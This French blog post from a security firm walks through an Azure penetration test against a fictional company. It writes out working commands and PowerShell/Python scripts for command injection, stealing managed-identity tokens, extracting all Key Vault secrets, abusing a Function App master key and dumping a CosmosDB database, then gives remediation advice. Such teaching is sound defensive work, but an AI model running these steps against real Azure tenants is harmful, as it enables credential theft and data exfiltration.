Comme les autres services cloud, Azure est une cible privilégiée pour les attaquants. Cela est dû à sa popularité croissante et à son importance stratégique pour les entreprises.
Pour réduire le risque de failles de sécurité, il est essentiel d’implémenter des mesures de sécurité solides. Il est également important de comprendre les types d’attaques et d’évaluer leur impact potentiel.
Il existe plusieurs moyens d’évaluer la sécurité d’une infrastructure Azure. Dans cet article, nous vous présentons l’approche « offensive » qui reste, selon nous, la plus efficace : les tests d’intrusion de cloud Azure (ou pentest Azure). Nous y détaillons les principes et objectifs ainsi que la méthodologie d’un audit Azure via un cas concret.
Guide complet sur le pentest Azure
- En quoi consiste un pentest Azure ?
- Périmètre d’un pentest Azure
- Méthodologie et déroulement d’un pentest Azure
- Reconnaissance et découverte de l’infrastructure Azure
- Exploitation d'une injection de commandes sur une app
- Récupération des secrets du Key Vault
- Lecture du code source de la Function App
- Compromission de la base de données
- Corriger et prévenir les vulnérabilités et exploitations malveillantes sur Azure
- Réaliser un pentest Azure avec Vaadata, entreprise spécialisée en sécurité offensive
En quoi consiste un pentest Azure ?
Un pentest Azure vise à évaluer la sécurité des services et des ressources hébergés sur un environnement cloud Azure.
Ce type d’audit simule des cyberattaques pour identifier les faiblesses exploitables dans l’infrastructure et les configurations des ressources Azure, comme les machines virtuelles, les bases de données, les applications web et les conteneurs.
L’objectif est de découvrir les vulnérabilités potentielles, de mesurer leurs impacts et de proposer des correctifs afin de renforcer la sécurité du système cible.
Périmètre d’un pentest Azure
Le périmètre d’un pentest Azure est adaptable en fonction des besoins spécifiques de l’organisation.
Il est possible de tester l’ensemble des services et configurations de votre infrastructure Azure ou de se concentrer sur les éléments les plus critiques.
Ainsi, les tests couvrent (liste non exhaustive) :
- Machines virtuelles : identification de services mal sécurisés, de logiciels non à jour ou d’erreurs de configuration.
- Bases de données : accès non autorisés, mauvaise gestion des permissions, fuites de données, etc.
- Services de stockage : expositions de données sensibles, mauvaise gestion des accès, configurations de partages de fichiers, etc.
- Gestion des identités et des accès : analyse des rôles et des permissions, des défauts de contrôle d’accès, etc.
- Applications web et APIs hébergées : vulnérabilités applicatives inhérentes à ce type de systèmes (injections, RCE, etc.).
Méthodologie et déroulement d’un pentest Azure
Pour présenter la méthodologie d’un pentest Azure, mettons-nous dans la peau d’un attaquant cherchant à compromettre la société « VaadataLab ».
Nous commencerons par présenter les outils, techniques et concepts Azure qui peuvent être utilisés pour collecter des informations et compromettre des données métiers critiques, en exploitant des faiblesses de configuration dans Azure.
Ensuite, nous examinerons les mesures que VaadataLab aurait pu mettre en place pour se protéger.
Reconnaissance et découverte de l’infrastructure Azure
Pour tous types d’audits offensifs, la phase de reconnaissance est primordiale. L’objectif : mieux comprendre l’infrastructure cible.
Dans le cadre d’un pentest Azure, il s’agit notamment de déterminer les services Azure utilisés (App services, Key Vault, CosmosDB, etc.).
En effet, dans Azure, chaque service a son propre domaine. Par exemple, dès qu’une app web est créée, un domaine associé de la forme <sous-domaine>.azurewebsites.net
est également créé.
Des outils tels que MicroBurst (spécifique à Azure) ou Cloud Enum (lui multi-cloud) facilitent cette reconnaissance. Ces derniers utilisent notamment des dictionnaires et appliquent des règles de permutation pour trouver des services qui peuvent appartenir à la société cible.
Dans notre exemple, nous allons utiliser l’outil MicroBust avec la commande suivante :
Invoke-EnumerateAzureSubDomains -Base vaadatalab -Permutations .\permutations.txt
L’argument -Base
défini le mot clé sur lequel on va réaliser les différentes permutations afin de découvrir des ressources Azure. Quant à l’argument -Permutations
, c’est une wordlist qui permet de réaliser les permutations.
Ici, nous découvrons que la société VaadataLab dispose de :
- 3 web apps ou « Function App » : « staging-vaadatalab », « vaadatalabprod » et « vaadatalab ».
- 3 Service Continuous Deployment (SCM) permettant le déploiement des applications.
- 1 storage Account « vaadatalabprod8a07 ».
NB : un Storage Account Azure contient tous les objets Azure Storage : blobs, fichiers, queues et tables. Par ailleurs, le code source des Function App peut être stocké au sein d’un Storage Account.
La phase de reconnaissance peut aller plus loin. Et permettre par exemple de récupérer le tenant ID d’un domaine, ainsi que la liste des noms de domaines associés à un tenant ; élargissant ainsi la reconnaissance à ces domaines. Il est également possible de vérifier l’existence d’une adresse email. Cela peut servir, par exemple, pour mener des campagnes de phishing.
Dans cet article, nous ne nous attarderons pas sur ces points.
Exploitation d’une injection de commandes sur une app pour obtenir un accès
Nous avons maintenant une vision plus claire de l’infrastructure Azure de VaadataLab.
Pour compromettre cette infrastructure depuis les applications web, il faut d’abord identifier une vulnérabilité permettant d’exécuter des commandes arbitraires ou de lire des fichiers sur le système sous-jacent.
L’objectif est de récupérer des secrets qui permettent de compromettre un « service principal ». Ce dernier représente l’identité de la ressource dans le tenant.
Il existe deux façons de s’authentifier avec un service principal depuis une application compromise. La première consiste à trouver un couple « identifiant:secret» dans un fichier de configuration. La seconde implique d’envoyer une requête HTTP au MSI_ENDPOINT
en utilisant IDENTITY_HEADER
comme secret.
Le MSI_ENDPOINT
est le domaine où le service « Managed identities » est exposé. Ce dernier fournit aux applications une identité gérée automatiquement dans Microsoft Entra ID. Grâce à cette identité, les applications peuvent obtenir des jetons Microsoft Entra sans gérer d’informations d’identification. Ces deux informations sont souvent disponibles dans les variables d’environnement du serveur.
Audit des applications hébergées
Regardons de plus près les 3 applications web découvertes lors de la phase de reconnaissance.
Elles se ressemblent beaucoup ; et il semble que nous ayons affaire à une application d’une entreprise spécialisée dans la vente de canards en plastique.
Par expérience, on va s’attaquer en premier à l’application « staging-vaadatalab ». En général, les environnements de staging ne devraient pas être exposés sur Internet. Ce sont des environnements de développement, souvent plus vulnérables.
Ici, nous rejoignons la méthodologie des tests d’intrusion web pour découvrir et exploiter les vulnérabilités.
Par chance, les fuzzs réalisés sur l’environnement de staging ont permis de découvrir un fichier nommé « test » qui semble prometteur.
Exploitation d’une injection de commandes
Des tests d’injection sur un formulaire du site ont révélé une vulnérabilité de type injection de commandes. Cela nous a permis d’exécuter des commandes sur le système sous-jacent.
Récupérons les variables d’environnement dans un premier temps. Le système sous-jacent étant Windows, cela peut être réalisé avec la commande suivante :
echo $MSI_ENDPOINT $IDENTITY_ENDPOINT
Nous avons dorénavant à disposition tous les éléments pour compromettre le service principal de l’application.
Pour ce faire, il suffit d’exécuter sur le système sous-jacent, la commande suivante :
curl $MSI_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
Cette commande permet d’envoyer une requête HTTP vers le service « managed identities » et de récupérer un JWT associé au service principal de l’application.
Nous pouvons donc utiliser ce JWT et les privilèges associés au compte pour se déplacer latéralement dans l’infrastructure Azure.
Récupération des secrets du Key Vault
Commençons par lister les ressources accessibles par le service principal de notre application, avec le code powershell suivant :
# Connection with the compromise Web app account
$access_token = "<access_token_management>"
Connect-AzAccount -AccessToken $access_token -AccountId 02861316-6d42-4d55-b2f7-542af2fb9915
Get-AzResource
Ainsi, il est possible de constater que nous pouvons accéder à un Key Vault nommé « keyvaultvaadatalab1 ».
Un Key Vault est un service permettant de centraliser et stocker les mots de passe, connection strings, certificats, clé secrète, etc. Cela permet également de simplifier la gestion des secrets des applications et de l’intégrer avec les autres services Azure.
Il y a donc fort à parier que des informations sensibles se trouvent dans ce Key Vault. Mais, avoir un accès à une ressource ne veut pas dire qu’il est possible de tout faire dessus. En effet, Azure (comme les autres services cloud) propose une forte granularité sur les permissions qu’il est possible de donner à une ressource, sur une autre.
Il faut donc lister les permissions que nous avons sur le Key Vault. Cela peut se faire avec le code powershell suivant :
$access_token = "<access_token_management>"
Connect-AzAccount -AccessToken $access_token -AccountId 02861316-6d42-4d55-b2f7-542af2fb9915
$KeyVault = Get-AzKeyVault
$Token = (Get-AzAccessToken).Token
$SubscriptionID = (Get-AzSubscription).Id
$ResourceGroupName = $KeyVault.ResourceGroupName
$KeyVaultName = $KeyVault.VaultName
$URI = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.KeyVault/vaults/$KeyVaultName/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
Ce script interroge l’Azure Management REST API pour récupérer les privilèges que l’application « staging-vaadatalab » a sur le Key Vault « keyvaultvaadatalab1 ».
Dans le contexte des autorisations d’Azure Key Vault, les permissions sont généralement définies en termes d’actions sur la ressource et d’actions sur les données de la ressource.
Actions
Les actions définissent les opérations que le client est autorisé à effectuer sur une ressource.
Dans notre cas, l’action spécifiée est Microsoft.KeyVault/vaults/read
; ce qui signifie que l’utilisateur a le droit de lire les métadonnées d’un coffre Azure Key Vault. Cela inclut généralement des opérations telles que récupérer des informations sur le coffre (nom, emplacement, tags, etc).
DataActions
Les dataActions sont des actions spécifiques aux données au sein du keyvault. Elles définissent les opérations autorisées sur les secrets et les clés stockés dans le keyvault. Dans cet exemple, 4 dataActions sont définies :
Microsoft.KeyVault/vaults/keys/read
: Autorise la lecture des métadonnées des clés stockées dans le coffre.Microsoft.KeyVault/vaults/keys/decrypt/action
: Autorise le déchiffrement des clés stockées dans le coffre.Microsoft.KeyVault/vaults/secrets/readMetadata/action
: Autorise la lecture des métadonnées des secrets stockés dans le keyvault.Microsoft.KeyVault/vaults/secrets/getSecret/action
: Autorise la récupération des valeurs des secrets stockés dans le keyvault.
Récupération des secrets
Ainsi, nous allons pouvoir récupérer la valeur de tous les secrets présents dans le Key Vault afin d’analyser ce que nous pouvons réaliser avec.
Mais avant, il est nécessaire de récupérer un autre access_token
spécifique pour réaliser les actions sur les données du Key Vault.
Pour ce faire, on exploite à nouveau l’injection de code sur l’application pour récupérer un access_token
avec la commande suivante :
curl "<MSI_ENDPOINT>?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:"IDENTITY_HEADER"
Nous pouvons désormais lister tous les secrets présents dans le Key Vault à l’aide du script PowerShell suivant :
# List all secrets in the keyvault
$access_token = "<access_token_management>"
$keyvault_access_token = "<access_token_keyvault>"
Connect-AzAccount -AccessToken $access_token -KeyVaultAccessToken $keyvault_access_token -AccountId 3329fea7-642e-4c09-b1ad-d8edbe140267
$KeyVault = Get-AzKeyVault
$SubscriptionID = (Get-AzSubscription).Id
$ResourceGroupName = $KeyVault.ResourceGroupName
$KeyVaultName = $KeyVault.VaultName
$secrets = Get-AzKeyVaultSecret -VaultName $keyVaultName
foreach ($secret in $secrets) {
$secretName = $secret.Name
$secretValue = (Get-AzKeyVaultSecret -VaultName $keyVaultName -Name $secretName -AsPlainText)
Write-Output "$secretName : $secretValue"
}
Lecture du code source de la Function App
L’un des secrets se nomme host—masterkey—master
. Cela fait fortement penser à la « masterkey » d’une Function App.
Azure Functions est une solution « serverless » qui permet de gérer moins d’infrastructure et d’économiser sur les coûts. Au lieu de se soucier du déploiement et de la maintenance des serveurs, Azure fournit toutes les ressources à jour nécessaires pour maintenir les applications en cours d’exécution.
Chaque Function App dispose d’une masterkey qui permet de réaliser des actions d’administration, comme lire le code source de la Function App, ajouter du code, etc.
Nous pouvons donc tester cette masterkey sur la function App « vaadatalabprod » découverte lors de la phase de reconnaissance afin d’accéder aux codes sources des différentes fonctions.
Pour cela, il est possible d’interroger l’espace de stockage virtuel (VFS) de la function App à travers l’endpoint https://<function-app>.azurewebsites.net/admin/vfs/home/site/wwwroot/
.
Le code PowerShell suivant permet de réaliser cette action :
$URL = "https://vaadatalabprod.azurewebsites.net/admin/vfs/home/site/wwwroot/"
$Params = @{
"URI" = $URL
"Method" = "GET"
"Headers" = @{
"Content-Type" = "application/octet-stream"
"x-functions-key" = "<master-key>"
}
}
Invoke-RestMethod @Params -UseBasicParsing
Le résultat obtenu est la liste des fonctions, cela signifie que la masterkey est bien celle de la Function App « vaadatalabprod ».
Il est maintenant temps de lire le code source des fonctions, à la recherche de secrets par exemple.
À ce stade, il est également possible d’ajouter une fonction qui contient du code arbitraire. Cela peut être utilisé pour déposer du code qui permet de récupérer un access_token
afin de compromettre le service principal de la Function App « vaadatalabprod » ; et réitérer l’analyse des ressources accessibles par la Function App pour potentiellement compromettre d’autres ressources.
Compromission de la base de données
Regardons de plus près la fonction ManageDuckOrdersProd
qui semble être une fonction dédiée à la production.
Et justement, le fichier __init__.py
de la fonction ManageDuckOrdersProd
contient un secret permettant d’accéder à la base de données CosmosDB de production.
En effet, Azure offre des services de bases de données relationnelles. CosmosDB est une base de données NoSQL entièrement managée par Azure.
Le fichier __init__.py
contient une connection string permettant d’accéder à la base de données MongoDB vaadatalab1-server.mongo.cosmos.azure.com
.
Avec cette connection String, nous pouvons accéder à toutes les données de production contenues dans la CosmosDB.
Le simple script Python suivant peut être utilisé pour récupérer toutes les données :
from pymongo import MongoClient
connection_string = "<connection_string> »
db_name = "vaadatalab1-cosmosdb"
collection_name = "Production"
client = MongoClient(connection_string)
db = client[db_name]
collection = db[collection_name]
documents = collection.find()
for doc in documents:
print(doc)
client.close()
Corriger et prévenir les vulnérabilités et exploitations malveillantes sur Azure
Il est maintenant temps d’examiner les mesures que VaadataLab aurait pu prendre pour éviter un tel scénario.
La phase de reconnaissance a révélé que l’environnement de staging était exposé sur Internet. Et ces environnements ne devraient pas être accessibles publiquement. VaadataLab pourrait limiter l’accès à l’environnement de staging en restreignant les adresses IP.
De plus, la mise en place d’un WAF rendrait l’exploitation des vulnérabilités plus difficile. Toutefois, la sécurité de l’application ne doit pas reposer uniquement sur le WAF.
Examinons maintenant l’infrastructure Azure. Dans notre scénario, l’environnement de staging avait un accès en lecture à tous les secrets du Key Vault « keyvaultvaadatalab1 », y compris à la masterkey de la Function App de production.
Le principe de moindre privilège doit s’appliquer. La question à se poser est : « Mon application de staging a-t-elle réellement besoin d’accéder à la masterkey de la Function App de production ? » Il est probable que la réponse soit non.
Il est donc essentiel de limiter les accès de l’application de staging au strict nécessaire. Azure recommande même d’utiliser un Key Vault par application, par environnement et par région.
De plus, Il est possible de restreindre l’accès aux Function App et aux Key Vault. Il est peu probable qu’il soit nécessaire d’exposer un Key Vault sur Internet. Azure permet de limiter l’accès aux Key Vault à des adresses IP spécifiques ou d’utiliser les « virtual network service endpoints » pour restreindre l’accès à un réseau virtuel défini.
Enfin, il est déconseillé de laisser des secrets en dur dans le code d’une application. Il est recommandé de stocker la connection string dans un Key Vault plutôt que de la laisser dans la Function App.
Réaliser un test d’intrusion Azure avec Vaadata, entreprise spécialisée en sécurité offensive
Il est important d’évaluer le niveau de résistance de votre infrastructure Azure face aux attaques décrites dans cet article.
Cette évaluation peut être réalisée par l’un des audits que nous proposons. Qu’elle soit réalisée en boite noire, grise ou blanche, nous vous proposons d’identifier toutes les vulnérabilités de votre infrastructure Azure et de vous accompagner dans leur correction.